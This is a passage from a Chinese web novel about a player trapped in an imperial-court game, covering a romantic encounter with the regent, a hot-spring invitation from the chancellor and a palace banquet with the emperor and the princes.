季李还硬不下心肠直接拒绝他,可能是封怀礼眼里流露出的委屈太浓烈了,连同撕烂的橘子皮汁水一同溅到指节,顺着往下淌,盘踞在发热的掌心肉上。
“……不是。”季李干巴巴吐出两个字,突然想起娃
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娃脸还在旁边,赶忙偏头去看。
周遭那里还有什么人,空空荡荡的,娃娃脸一看形势不对老早就拔腿而逃了。
季李没找到帮手,脸上刚生起了希意瞬间被浇灭,他咬着牙勉强挤出个笑容,转回头朝紧紧盯着他的封怀礼,眨了眨眼睛商量道:“要不,你先听我解释。”
“好。”封怀礼没有异议,可手上紧拽的力度却未放松,甚至还往里拉了拉,说话时启唇故意探出舌头,眷恋的扫过软肉想卷进肚子里,死死咬住。
季李被他眼里的毫不掩饰的掠夺之意吓了一跳,除了一瞬而过的怯意盘旋在心头的却是被鼓动、欲欲跃试与其同生同死的欲念。
一道声音在耳边响起,不轻不重的鼓吹着,它在说,‘找到他了,终于找到了。紧紧拉住他,一定不能放手……’
“我、我等一下。”季李下意识扯了一下手,没扯动,他也不再挣扎,心里漫出些真切的无奈来,他叹了口气像是在劝自己:“我可能没有你想象中那么好。我挺坏的。”
封怀礼深以为然的应:“对。”
这明明是自己想要的答案,但真得到了反而不高心,季李抿直了唇怪着自己为什么要莫名其妙说怎么一句话,面上却道:“那你松开手。”
男人朝他弯了弯眸,神情很是温和透出无尽的怜意,应该是怜惜吧?季李一时辨认不出来,他否定了最先冒出的念头,‘爱’。
怎么可以。
封怀礼像是没看出他的纠结,动作未停,空闲的手轻抚在他脸侧,张开嘴小心咬着弯曲起来想躲避的指尖。
身子往前探,一把挽在季李后腰上,手臂亲昵的贴上去,整个人融到季李怀里。
“可我还是喜欢你。”封怀礼放出慌乱逃离的指头,眼睛亮亮的盯着眼前人,认真又严肃道:“应该是,爱你。”
“臣……”季李没想到封怀礼打了个直球,他脑袋空空的,下意识要扯出上尊下卑的秩序来。
刚吐出一个字,炽热的吐息就迎面而来。
压在唇肉上的唇齿来势汹汹,灵活的舌尖细细研磨着那颗小黑痣。
季李一时不查被逼吻得紧闭着双眼,心里又好气又好笑,一探身紧紧掌住男人精瘦的腰身,倾身回击着,刚刚起了势均力敌的痛快感,掌心下的身体突然就软了下来。
双臂似推似揽的缠在脖颈上,季李被湿腻的香气弄得鼻尖发痒,伏在他身上的热意从颈肉往里漫,势要燃个尽兴。
等季李恢复些理智将人松开时,封怀礼一双眼睛红透了,胸前衣衫不知道什么时候被拉扯得敞露着,露出一块泛粉柔腻的胸脯。
“我刚才。”季李心虚的移开目光,刚一松开拥着封怀礼的手,就见人似没骨头般往下掉,他赶忙掌回去,舔了舔唇继续道:“你没事吧。”
封怀礼眼神迷离,像是还没反应过来,半张着嘴巴呼气着,他睁着眼睛一直望着季李,过了半响才回应:“还要亲。”
“……不是,刚才是个意外。”封怀礼沉默的一段时间里,季李整颗心都悬着,视线落到地上白亮的剑刃上,都已经想象到自己人头落地,血溅当场的画面了。
结果,封怀礼来了这一句话。
季李真是不知道该说些什么好,他灵光一现,亲昵的揽着人的肩,轻声哄:“我们先进屋吧。”
封怀礼一听,眼睛亮得惊人,笑弯了眸探身靠在季李肩颈,整张脸埋在繁复衣料下散着冷香的锁骨处,高挺的鼻尖细致的嗅闻,双手并用要把属于他的礼物一层一层的剥开。
封怀礼想着,惊不住咽了咽口水,被吻的发麻的唇木木的,咬含着衣角有些把握不住力度。
好不容易把人半抱半拖着,带进屋内。
季李揽着人一同坐在床沿,温柔又强硬的将人撕拉开,一定神,就看到封怀礼冷峻的脸绯红一片,湿漉漉的唇肉上渗着几缕血丝,晶莹的银丝一端落到脖颈处的衣角上,另一端被血染红了。
看着一副被欺负狠了的模样。
季李吓得差点把人推下床,幸好及时止损攥住了封怀礼的手腕,温热的指节似蛇般小心翼翼的滑到手心处,迎着封怀礼渴求湿亮的眸,轻轻挠着掌心肉。
“王爷。”季李瞬间站了起来,顶着封怀礼难以置信的目光,微微低下头,疏离又礼貌的拱手行礼:“天色渐晚,臣就先行告退了。”
“很好。”封怀礼皱着眉,怒气冲冲的将歪斜往下掉的衣袍披回肩颈,指节攥着衣角恶狠狠道:“我会让你留下来的。”
季李秉持着多说多错的态度,不吭声。
一步一步往外走,等跨出门槛时,只觉得松了一口气,季李急忙朝在庭院外偷偷摸摸探究的娃娃脸跑去。
娃娃脸原本笑开了脸,还朝他挥着手,突然脸色一变,飞一般收回了手,眼睛飘忽转过身只留个背影。
季李一看,心中了然。
封怀礼肯定也跟出来了。
季李害怕封怀礼又突然发难,压了压脚步但还是走得急快,心跟着猛烈跳动,眼见着还差两步跨出庭院。
季李已经闻到了空气中属于自由的气味,远处一条蜿蜒曲折的小溪里时不时传来鱼儿翻腾的响动,草丛间的飞虫跳跃着,引出窸窸窣窣的动静。
就差一步了,季李已经提前庆祝起来。
“还愣着干什么。”身后封怀礼冷着脸,语气不满。
什么意思?季李只装作没听到,余光里扫到娃娃脸弓着身子像是在翻什么东西,他赶忙往旁边迈了一步。
娃娃脸总算寻到了,释然的呼出一口气,双手捧着信封瞪圆了眼睛,美滋滋转身。
“季大人?”娃娃脸没看到人影,有些无措起来,正要向站在门口遥遥而立的摄政王求助。
季李一看,赶忙压低了声音喊:“我在这儿。”
“好!”娃娃脸赶忙偏头,仰着头将信封递上,也不说话飞快朝人眨着眼睛,挤眉弄眼的好一阵。
季李看得眼酸,终究把疑问咽回肚子里,接过了信封,正想说几句话。
‘嘭’的一声巨响,房门被人大力关上了。
38. 第三十八章
季李和娃娃脸面面相觑,真是不知道该怎么形容封怀礼了。
完全是莫名其妙呀。
回相府的一路上,季李真是没想明白,今日确实是万千波折,好在没有发生什么大错。
当然,由于‘托管’造成的乌龙,季李选择明日再面对,今日他已经是疲乏了。
娃娃脸给他的信封,季李一直没敢开,正想打开的时候,就看到相府门口停了个轿子。
五六个小厮怀中抱着红彤彤暖炉,正恭敬的候着。
季李赶紧把信封塞回怀里,大步跑上前,一靠近正好看到冯裕之微微低着头跨出门槛。
门前挂着的火红灯笼燃得热烈,光亮下盈得人的脸生出几分血色。
围在脖颈的顺滑皮毛尖似破壳的麦粒,蜜色的光润随意倾洒一片,雾蒙蒙的眸直直望来,冯裕之勾着嘴角轻笑了一声,抬手轻柔抚着烫手的汤婆子,指节染出落霞的粉。
冯裕之轻声道:“快进来吧。”
季李随即抬脚跟上去,低着头盯着脚边的人影,暗自想,幸好他回来得早,如若不然,冯裕之怕是要亲自来寻他了。
到时候,正找到了摄政王府,那他肯定是要完蛋。
名声扫地不说,恐怕真的是要去投靠封怀礼了。
这定然是不行的,就按现在这个情况,封怀礼说着说着就要开始上手,连基本的平和交流都难以进行,再说了,他还要去安抚阿狸。
想到这儿,季李有些紧张的扣起了手指头,昨晚他没有入梦,也没有机会继续说服阿狸,只期望今日能如愿。
他心里有个猜测,但那太过于超出常理了,始终不敢相信。
按照阿狸的脾性再加上封怀礼被诊出‘喜脉’。极有可能,两人的交易就是……
“在想什么?”突然眼前一暗,冯裕之注意到他的愣神,止了脚步神情带着些探究,轻声询问着。
季李一愣,赶忙将无端的遐想抛到脑后,站直了身子,敷衍应声:“没有,学生可能是太饿了。”
“真的饿了?”冯裕之也不戳破,脸上显出几分戏弄般的笑意微微探身凑到人面前,眼瞳雪白似无尽的雪原。
在季李看来,就像是格式化的机器人一般,看似单纯却莫名让人心头发怵,他吞了口唾沫,心想,应该不算说话,肚子确实空空荡荡的。
他点头,面上羞愧的笑:“嗯嗯。抱歉,学生今日又回来晚了。”
“无碍。”冯裕之指尖发痒,忍下想触摸的想法,凭着舌上肆虐燃烧的烫意保持着冷静,移开视线漫不经心转身,目光飘忽悬在敞开着大门的屋内一角。
实则想着,庭院里亭亭的玉兰树,树干上正晃着双腿哼歌的人影,手臂枕在后脑勺从枝桠探出的开得正盛的粉红玉兰花斜斜倾下,极艳的花瓣尖温顺的蹭到人瓷白的后颈。
突然,花蕊颤动,人影像是觉察到他的视线,身形一动要偏身望来。
“老师?”清朗的少年音拉回他的思绪。
冯裕之垂下眸,脚步未停继续道:“明日后,你就该休沐了吧。”
季李不解,但老实回道:“是。”
冯裕之没再开口,一直到坐到木凳上,泛凉的指节在暖和的屋内缓慢回温,他漫不经心的握上烫灼的瓷杯,舌根上的烙印似流淌的蜜液润得他弯了弯眸,笑望向正惴惴不安的少年。
像是在询问,“那明晚去试试后院的温泉池吧。”
“温泉吗?”季李有些意外,咽下下意识就要说出口的拒绝,暗自攥紧了手指头好奇发问:“没想到,府上竟然也有。”
“不在这里。”冯裕之唇肉沁在苦涩的药饮里,过高的温度瞬间将嘴唇染上稠浓的血色,漫腾热气舔舐着雪白的眸,广袤雪地里正在蓄力的一场风暴。
季李找不到什么合适的理由去拒绝,勉强笑了笑转移话题道:“是。老师,今日学生去了户部。”
他停顿一刻,打量着冯裕之的神情,自顾自的品着红彤彤的水,也不知道是什么茶,他移开目光继续道:“金侍郎给了学生一个木盒,让学生转交给老师,我这便让人取来。”
“不用。”冯裕之摇头,抬眸淡淡望来浅白的眼瞳亮盈盈的,像是要刺破人的灵魂,季李不自在的吞了口唾沫,但他好像只是在确认说话的人,轻飘飘移开目光,“你且收着吧。”
冯裕之像是要扯家常,指尖轻点在杯沿随意拨弄着,抬眸道:“如若文意又来消息声称筹款,你会怎么做?”
“这、恐怕师兄应该不会吧。”季李舔了舔嘴唇,避开他探究的目光打了个哈哈,“再说,肯定要听老师您……”
“听什么?”冯裕之直截了当开口:“昨日的王七走时,带走了个木盒。”
“学生知错!”季李一听赶忙站起身,拱手行礼。
冯裕之挥了挥手止住了他的动作,用眼神示意他坐回凳子上,脸上带着些笑意,端起瓷杯贴到唇边吹了个口气无奈道:“既然如此,金侍郎给的木盒你便收好,如若再来消息你还是谨慎处理吧。”
“学生明白。”季李见人将事揭过,赶忙应下但心里还是惴惴不安的,他有些不明白冯裕之是什么意思。
是在敲打他不要不听劝令吗?可是,按情理来说,宗文意比原身季明礼更受冯裕之喜欢吧,毕竟他之前听王七说过,宗文意相对于是冯裕之的义子。
而原身季明礼顶多算外门弟子,或者是个觊觎老师的反叛者,不尊师重道之人。
季李摸不清思绪,用膳时哼哧哼哧埋头吃喝,尽兴后下意识抚着肚子,两指一掐,真捏出两层肉来,他赶忙放下呈着鲜美的鸡汤的碗,暗道,不行,说好了要锻炼身体的,再这样大吃大喝下去,什么时候才能恢复之前的状态。
冯裕之见状开口问:“是不合口味吗?”
季李点头,然后又摇头为难道:“合口味,只是学生吃饱了。”
“那就不吃。”冯裕之闻言极其自然的伸手将汤碗移到他身前,拿起汤勺,轻轻荡了荡像是要喝上一口又止了动作,抬头看着季李道:“那你先去休息吧。”
季李在一旁看愣了,张了张嘴把差点说出口的制止咽了回去,找出了个理由说服自己,连才赚到手还没握热的银钱都能轻易给宗文意,为什么一口汤就不让冯裕之喝了。
再者说,那碗汤他根本还没动。
季李迷迷糊糊的行了礼,朝外走,刚要踏出门槛身后传来冯裕之温馨的提醒,“明晚,我会在后山等你。到时你先回府。”
季李转身不自在的捏了捏手指,脑袋里收刮着合适的拒绝话语,结果张着嘴愣了半天也没说出什么话。
“怎么了?”冯裕之歪了歪头像是看不出他的不情愿,语气柔和不少催促着:“行了,你快去休息吧,有什么事到时再议。”
季李:“是。”
回到屋里,季李攒足了气势,站在镜子面前盯着自己的脸,轻咳一声神情愤愤,一本正经道:“季李呀,季李,你这是什么性格。直接说不想去,说对温泉不感兴趣,不就行了?你还直接卡壳了,什么话都说不出来。”
季李把自己教训完,叹了口气扶额认命道:“没事,就是泡个温泉罢了。难不成,冯裕之真是在考验我?”
季李睁大了眼睛在屋里来回踱步,捏着下巴自言自语分析起来:“给宗文意银钱的原因也简单,本来这就是个游戏,而且
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赚来的钱也是因为抄书。用就用了,还能赚赚游戏角色好感度。但是冯裕之就不一样了,妥妥就是现实里教导主任的角色呀!”
“读书的时候就害怕。现在人在屋檐下更要小心点。冯裕之是当朝宰相有权有势,这便没什么好入手刷好感度的手段,但是吧,最近……”
“冯裕之他很不对劲!”
季李顿时了悟,一拍手掌,笃定道:“冯裕之肯定是在考验我!他不相信,我现在对他没有什么苟且的心思了。所以,说要去泡温泉。”
季李想明白了,放松下来。最近天气变冷了,在丞相府洗漱也不算轻松,最不好的地方就是会有候在外面的小厮。
添热水也不容易,明晚就舒舒服服泡个温泉,好好享受一下,同时定要在冯裕之面前改变形象。
季李躺在床上,迷迷糊糊要睡着前,眼前浮现出阿狸的脸,他心里一喜,对!
差点又忘了要去梦里找阿狸了,他还要解决一下封怀礼‘喜脉’这一隐藏的炸弹,他真的是都怕了,这个游戏也太奇怪了吧。
为什么NPC能够改变身体的设定……
想着想着,很快就睡着了,等季李睁开眼睛,不算明亮的四周,熟悉的床铺。
季李赶忙从被子里跑出来,双手一探出被窝瞬间降温,冷得他牙齿打颤,暗道,这个梦也太真实了吧。
换好衣服走出门,庭院里的玉兰花树抗不住寒冷,零星的花苞闭合了看着奄巴巴的花瓣皱成一团,树叶掉了一地。
“怎么感觉不像在梦里?”季李总算看出不对劲了,等拦住个小厮,一问时辰。
看来又没做梦。季李叹了口气,用着早膳,他没有太多的时间吐槽,本来阿狸的事情就只能挪到梦里去解决。
白日里他太忙了。
入宫教书,还有处理西厢房重建的工作。
对,今天他还得去将军府上,把新写的信交于管家,只能期盼时将军大人不计小人过,把被系统‘美化’后的信忘掉。
季李一想到这件事就生气,他真是不能再使用系统的功能了,本来每日签到的积分就少,再去使用堪称鸡肋的道具,不仅没有任何帮助还极有可能让他臭名远扬。
还有,暴露的不是‘玄朝人’的风险。
季李收拾好心情,抬脚往书院里走。
一进门,感受到一道熟悉的视线,呼呼呼的扇风声。
讲台下方,正中央坐着笑容满面的三皇子,他依旧握着把玉扇有一搭没一搭的扇着风,精明的眼睛盯着来人,一张口就喊:“老师好久不见了。”
季李皱眉困惑道:“不是三日禁闭吗?”
那知赵文安一听到他的话,自得的神情陡然一黑,整个人猛得一颤做贼心虚般往后面的角落瞟了一眼,转过身咬牙切齿回:“托老师的福了。”
季李不解其意:“和我有什么关系。”
赵文安笑着,‘噔’的一声响,收了玉扇神秘兮兮的敲着木桌,嘴角翘着一脸辛灾乐祸的模样。
季李心头一紧,面上镇定自若也不去看他,翻开书本认认真真讲起了课。
整整两节课上下来,赵文安就没安停过,要不然是举手问一个,莫名其妙的问题,要不然突然放声大笑,有时趴在桌面上,可眼睛还亮得惊人就紧紧盯着他。
季李原本还能稳住心神,后面也被影响了,讲课的速度都变快了。
以至于离放课还有五六分钟,他一边收着课本,准备故技重施刚轻咳一声。
突然,赵文安又高举起了手臂,一脸兴奋的模样,就好像在等着个只有季李不知道的惊喜。
“怎么了?”季李暗自揪紧了指节。
39. 第三十九章
“这个吗?”平日里总是嘻嘻哈哈的三皇子神情严肃起来,一合玉扇挥了挥袖袍站了起来,拉长了调子眼神飘忽向身后看去。
季李看着他的举动,心里纳闷,下意识望去,装蘑菇的二皇子恨不得把自己藏进地里根本不搭理,总是一丝不苟的太子接收到信号,轻轻放下书本站起身回道:“老师,今日我们兄弟三人想请您参加晚宴。”
三皇子闻言不同意的摇头,反驳道:“大哥,你这话说得就不好听了。什么叫晚宴。”他故意止了话头,邀功般望向季李,一字一句朗声:“明明是家宴。”
太子极其谦逊的应声,又说了几句话。
季李现在只觉得自己不是站在讲台上了,而是在什么受训室,这两个小孩一人一句就要让他参加什么“家宴”。
于情于理他都不应该参加。
季李轻咳一声打断了两人饱含虚假兄弟情的交谈,真要关心说话的时候至少要笑着吧,眼神也是极冷,他远远看着都后背发凉。
看来,太子和三皇子不合的消息是真的。之前他在打探西厢房情报的时候,意外得知,太子生母也就是当朝皇后与三皇子生母、皇贵妃争夺过西厢房的使用权,只不过,后面两人谁也没成功,好像还落得了斋戒半年的惩处。
从那时起,皇贵妃就极少和皇后同处一室了,各自称病享着清闲。
季李知道这事肯定还有什么内情,只是按他现在的处境也打探不到更多的消息,还是先把西厢房重建后,往后有机会再打探。
“我今日有事,只能扫了兴致。”季李迎着两人的视线,琢磨着开口:“日后有机会……”
“老师。”赵文安握着扇柄敲着手心,不赞同的摇头伤心道:“看来还是学生们不够格,这家宴,可不只是有我们。”
季李一听瞬间明白过来,他就说为什么赵文安从一开始就幸灾乐祸的笑,看他小心眼的模样肯定还计较着被关禁闭的事。
赵文安看似好心的开口:“当然,如果老师不愿意……”
季李暗自叹气:“我去。”
“好,老师你不想去、什么?”赵文安愣了一下,不死心的问:“您真想来?”
“这是自然。”季李面上带笑,实则心里把赵永敬,昏君、狗皇帝能想到的绰号来来回回骂了个遍,收好课本理了理衣袍语气温和:“请三殿下带路吧。”
赵文安神情惊讶,没应声只是蹬蹬跑了过来,像是要与他商议的模样。
“是!”倒是沉默如蘑菇的二皇子最先回话,一把将整理好的书包扔给候着的书童,藏在细长黑发下的双眸闪着光亮,远远坠着未尾。
季李颇为意外的向身后声响的来源瞟了一眼,逼入眼眸的是三皇子展开的玉扇,扇面用幽黑毛笔写着两个大字,‘尽兴’。
“你有何事?”季李只好收回视线,抿直了唇语气生硬。
赵文安像是没看出他的冷漠,摇了摇扇子凑近亲近道:“不要生气。我们现在还是一头的呢。银钱凑齐了吗?”
季李没想到他怎么没眼力见,现在还要攀关系,反问道:“殿下,与朝廷官员谈交情恐怕不太好吧?”
“这是什么话。”赵文安被问的一愣,摇头压低声音诉说着不易,“今日之事,我也没有办法呀。”
“您是知道……”他还是侃侃而谈突然见季李停了脚步,冷漠的神情裂开露出一丝恍惚。
他下意识寻着视线望过去,为首的公公颇为眼熟,是王辞认的干儿子小六子,没想到父皇竟然还派这人来请。
季李看着眼前的轿子,心里生出一阵后怕,如若在学院他真信了赵文安的鬼话,拍拍衣袖一走,恐怕没走出宫门又得被喊住。
到时候,可真是被‘请’过去了。
季李想到此处,扭头瞪了赵文安一眼,冷冷的笑一声,便大步朝小六子走去。
他笑盈盈的打了招呼,与小六子有一搭没一搭的攀聊起来。
无辜的三皇子赵文安真是哑巴吃黄连有苦说不出,他一咬牙,几步凑到太子身旁试探道:“不知大哥是何时知道的?”
赵明泽目不斜视,像是根本没听到他的话,大步流星向前走。
赵文安讨了个没趣,想着偏了偏身目光落到末尾的二皇子赵祈瑞身上,留得偏长的黑发衬得一张脸极小。
秀气艳丽的脸上一道突兀的疤痕攀在额头,他眼前浮现出赵祈瑞阴恻恻的笑容,只觉后颈发凉,赶忙收回视线,老老实实呆在太子身侧。
不过这一路,他着实无聊,嘴巴说个不停。
遥遥看到,‘养心殿’这三个大字,三皇子才闭了嘴,季李只觉得耳根都清净了,本来他只和小六子说了三、四句话,剩下的时间全是赵文安一个人不知趣的自言自语。
“季大人,您可算来了。”一道尖细的声音传来,王辞迈着小步子走出来,他眯着眼睛道:“三位殿下也请吧。”
季李点了点头,放缓了脚步,按理来说他只是个臣子怎么能走在皇子前面,他暗自往旁边躲,可候了一阵却没等到三皇子他们走上前。
他顶着王公公暗含催促的视线,吞了吞唾沫,笑着往身后去看。
三位殿下竟然已经跪拜在地。
季李心头一跳,赶忙跟着跪地,心道,这什么意思呀,王辞不是来让他们进殿的吗?怎么又开始行礼了。
季李想不明白,耳边响起一声提醒,“季大人,您随咱家先入殿吧。”
“啊?”季李抬起头困惑发声,但见王公公站在身旁神情恭敬,他只好站起身,顺从跟在人身后。
这是什么意思呀?季李着实想不明白。
坐在满桌佳肴的最未尾的凳子上,他将双手放在大腿上端正坐着。
一进殿,他就只看到菜肴,也没看到赵永敬的身影。
在王辞的示意下,他选了个最远的角落,想了想小声询问:“王公公,怎么没见陛下?”
王辞叹了一口气,回话:“季大人,陛下还未下朝。”
季李闻言赶忙从凳子上站起来,急切道:“那我还是先在殿外等候吧。”
说完,季李就要往外走,王辞看出他的用意几步上前挡住他的去路,低着头劝阻道:“这可不行,您便安生坐着吧。”
季李硬要闯出去,也不是不行的,但昏君跟前的红人都这样说了,他也不能真的抗旨。
再说了,他也不知道昏君什么时候下朝,难道真的要和三位皇子一同在殿外跪着?
跪多久不提,更会给他一种自己也是昏君儿子的既视感,既然如此,他就安安心心在殿内坐着等吧。
季李盯着冒着热气的菜肴,
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看着看着真有些饿了,不自觉摸了摸肚子,又感觉有些热。
他悄然卷了卷袖袍,用手扇着风,突然珠石帘响起一阵响动,叮叮叮的清脆声。
垂落的鸽子血珠石晃动着盈盈的光点,闪烁散落在殿内。
季李抬着手臂,一偏头正好对上大步朝他走来的赵永敬的视线,金黄的眼瞳走入亮处似兽瞳般缓慢缩小瞳孔,只在眸中留下一个近乎血色的斑点。
季李只知直视皇帝的脸很是不敬,再者说,赵永敬的眼睛也太怪吧,他都害怕自己收敛不住表情,身体已经先一步动作,等掌心挡在下半张脸时,皇帝已经走到了上位。
季李吞了吞口水连忙站起身行礼,在心中暗骂,都怪这个游戏美化的问题,怎么不把角色制作得更真实一点。
他近日看冯裕之,总觉得他是白狐;看封怀礼,是因为梦境,黏人的形象太深刻;看赵永敬,就更彻底了,真觉得这帝王是披着人皮的虎。
季李:“陛下万福金安。”
赵永敬没应声,低着头扒拉着衣袍,很快像是想起什么止了动作,朝站在柱子边装透明人的王辞眨了眨眼睛。
很快,一阵脚步声响起,三位殿下齐声问安:“儿臣……”
季李不知道赵永敬说了什么,三皇子赵文安走到他身旁,压低声音道:“老师,您坐错位置啦。”
季李一愣,刚想反驳,又想起昏君还没回话只得屏声,也不挪位置。
"好了,免礼吧。"赵永敬坐在躺椅上,一只手漫不经心搭在椅把手上,捏着颗紫葡萄,颦眉望来语气淡淡:“你来这里坐。”
三皇子以为自己有了靠山,美滋滋笑着抬头往上望,结果一道冷冰冰的视线无声警告着,‘不要无礼。’
赵文安:我真的太委屈了。
“老师您快去吧。”赵文安怯怯收敛了神情,真是吃了苦黄莲了,他颇为委屈轻声劝:“再不去,学生真是……”
季李不知道赵文安为何改了风格,之前气汹汹的模样瞬间没了,现在开始装起了可怜,不过,虽然他与赵文安不对付,但他不挪位置不是有意的。
而是,刚才昏君根本没把话说明。
他自然不能攀附,再说,他根本不想坐到赵永敬手旁。
季李一面向前走,一面吐槽着,那家皇帝让一个朝廷官员坐手边的呀,还称这是场家宴。
季李真的要崩溃了,什么破游戏。
「滴——检查到玩家评价,小云来啦,请问季李您需要道具吗?」
季李一愣,往下坐的动作顿了一刻,很快反应过来,理了理衣袍朝一直注视着他的帝王笑了笑,端起酒杯道:“臣敬陛下一杯,祝陛下圣寿安康,玄朝皇图永固。”
一抬手,饮完一杯酒,‘不需要,你不要突然弹出来,吓我一跳。’
季李没怎么喝过酒,可能现实世界的酒和游戏里面是有极大区别的,他喝着甜滋滋的,唇舌间漫着气泡的酥麻感。
赵永敬瞧着有趣,少年只饮了一杯,双颊就攀上霞色,含情的桃花眼水亮亮的,竟看起来多了些不常见的傲意,他弯眸:“朕便准你再饮一杯。”
季李眨了眨眼睛,脑袋晕乎乎的,气性也大了些,闻言脱口而出:“你谁呀,还准我喝,我偏不喝。”
说完,大殿寂静无声。